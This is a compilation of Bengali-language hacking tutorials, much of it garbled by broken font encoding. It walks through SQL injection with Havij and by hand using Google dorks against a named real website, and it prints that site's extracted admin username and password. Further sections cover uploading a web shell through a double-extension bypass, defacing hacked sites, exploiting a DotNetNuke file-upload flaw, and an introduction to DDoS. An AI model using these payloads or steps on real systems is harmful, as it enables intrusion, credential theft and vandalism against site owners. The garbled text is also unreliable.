াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
